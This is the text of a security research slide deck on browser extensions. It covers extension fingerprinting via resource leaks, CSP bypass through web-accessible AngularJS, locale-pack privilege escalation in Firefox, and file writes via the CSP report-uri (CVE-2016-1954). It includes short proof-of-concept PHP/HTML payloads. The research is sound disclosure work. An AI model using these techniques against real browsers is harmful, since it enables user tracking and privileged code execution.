On the Security of
Browser Extensions
Nicolas Golubovic / @_qll_
Agenda
- Motivation
-
Chrome
- Intro
- Attacks on Extensions
-
Firefox
- Intro
- Attacks from Extensions
- File Write vs. Extensions
1. You Can Do It
2. Large Impact
vs.
3. High Privileges
Why attack from extensions?
1. Follow-Up
2. Additional Attack Vector
Intro
Extensions
{
"manifest_version": 2,
"name": "Exemplary extension",
"description": "Extending the unextendable",
"version": "1.0",
"options_page": "html/options.html",
"browser_action": {"default_popup": "html/popup.html"},
"content_scripts": [{
"matches": ["https://www.google.com/*"],
"js": ["jquery.js", "myscript.js"]
}],
"background": {"page": "html/background.html"},
"web_accessible_resources": ["html/*"],
"permissions": ["activeTab", "https://*/*"]
}
Extensions
{
"web_accessible_resources": ["html/*"],
"permissions": ["activeTab", "https://*/*"]
}
Attacks on Extensions
Fingerprinting
-
Identify active extensions
- Discriminate users
- Tracking
- Targeted attacks
1. Resource Leaks
if
{
...
"web_accessible_resources": ["path/to/resource.ext"],
...
}
then
<script src="chrome-extension://<extid>/path/to/resource.ext"
onload="isActive()" onerror="isNotActive()">
</script>
2. Side Channels
-
Observe Chrome's behavior on...
- ... active extensions
- ... inactive extensions
- Any difference may be abusable
2. Side Channels
Error-Based
2. Side Channels
Error-Based
- Works for all extensions
-
Relies on two bugs
-
Open chrome-extension URI
- Tainting-behavior of extensions
Cross-Context Scripting (XCS)
Extension Pages
Content-Security-Policy: script-src 'self'; object-src 'self'
-
Images and CSS not restricted
- Extract data via CSS
- Clickjacking from within
- Can be relaxed with 'unsafe-eval'
-
Often: CSP bypass required
- If only we had a general bypass...
Every time an extension is installed, a mitigation dies.
Random Guy (totally not me)
Meaning?
<?php header("Content-Security-Policy: script-src 'none'"); ?>
<script src="chrome-extension://<extid>/accessible/file.js"></script>
It just works!
Recap
-
Extensions nullify any CSP with
- old AngularJS versions
- on web-accessible locations
-
It works everywhere
- On websites
- In extensions
Extension Pages
Better History + SaveList
-
BetterHistory
- has a XCS vulnerability
-
Enables 'unsafe-eval'
- No eval vulnerabilities
- Allows all AngularJS bypasses
-
SaveList
- Has AngularJS v1.4.3 web-accessible
Intro
Extension Types
-
Complete Themes
- Locale Packs
-
Regular Extensions
- Legacy Extensions
- Restartless Extensions
- Add-on SDK Extensions
- WebExtensions
- ...
Signing
-
Complete Themes
- Locale Packs
-
Regular Extensions
- Legacy Extensions
- Restartless Extensions
- Add-on SDK Extensions
- WebExtensions
- ...
Privileges
-
Bound to URL
- chrome://*/content/* = privileged
- chrome://*/skin/* = slightly privileged
- chrome://*/locale/* = slightly privileged
- resource://*/ = not privileged
chrome.manifest
content foo path/to/files
locale foo extname path/to/files
skin foo extname path/to/files
resource foo path/to/files
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
chrome.manifest
Legacy & Restartless Extensions
content foo path/to/files
locale foo extname path/to/files
skin foo extname path/to/files
resource foo path/to/files
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
chrome.manifest
Themes
content foo path/to/files
locale foo extname path/to/files
skin foo extname path/to/files
resource foo path/to/files
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
chrome.manifest
Locale Packs
content foo path/to/files
locale foo extname path/to/files
skin foo extname path/to/files
resource foo path/to/files
overlay chrome://uri-to-be-overlaid chrome://overlay-uri
Attacks from Extensions
1. Privileged Attacks
based on research by @malerisch and @0x7674
-
Privileged code can...
- ... read files
- ... read stored passwords
- ... execute OS commands
- Only regular extensions?
2. Privilege Escalation
2. Privilege Escalation
Chrome URL Override
locale foo extname path/to/files
override chrome://global/content/config.xul
chrome://foo/locale/privesc.html
2. Privilege Escalation
-
Locale Packs
- can escalate privileges
are not protected by a signature
- are marketed as language packs
- At least two variants
File Write vs. Extensions
CVE-2016-1954
report-uri
<?php header("Content-Security-Policy: script-src 'none';"
. " report-uri http://foo.com/");
???
<?php header("Content-Security-Policy: script-src 'none';"
. " report-uri file:///tmp/foo");
<?php header("Content-Security-Policy: script-src 'none';"
. " report-uri chrome:///<alias>/content/foo");
CVE-2016-1954
1. Disable Extensions
-
Prerequisites
- Signing enabled
- unpack=true in install.rdf
- Just write a file to extension
CVE-2016-1954
2. Hijack Extensions
-
Prerequisites
- Signing disabled
- unpack=true in install.rdf
-
Possibilities
- Overwrite existing file
- Write new file, open via bug
Report Format
<?php header("Content-Security-Policy: "
. "script-src 'none'; "
. "report-uri file:///tmp/foo.html"); ?>
<script><svg onload='alert(1)'></script>
↓
{"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:5000/poc/exploit-cve/","line-number":1,"original-policy":"script-src 'none'; report-uri file:///tmp/foo.html","referrer":"","script-sample":"<svg onload='alert(1)'>","source-file":"http://localhost:5000/poc/exploit-cve/","violated-directive":"script-src 'none'"}}
Report Format
<?php header("Content-Security-Policy: "
. "script-src 'nonce-</script>'; "
. "report-uri file:///tmp/foo.html"); ?>
<script><script src=http://localhost:5000/a></script>
↓
{"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:5000/poc/exploit-cve/","line-number":1,"original-policy":"script-src 'nonce-</script>'; report-uri file:///tmp/foo.html","referrer":"","script-sample":"<script src=http://localhost:5000/a>","source-file":"http://localhost:5000/poc/exploit-cve/","violated-directive":"script-src 'nonce-</script>'"}}
Conclusion
-
Old attacks still work
-
Extensions ⚡ CSP
-
Still lots of quirky behavior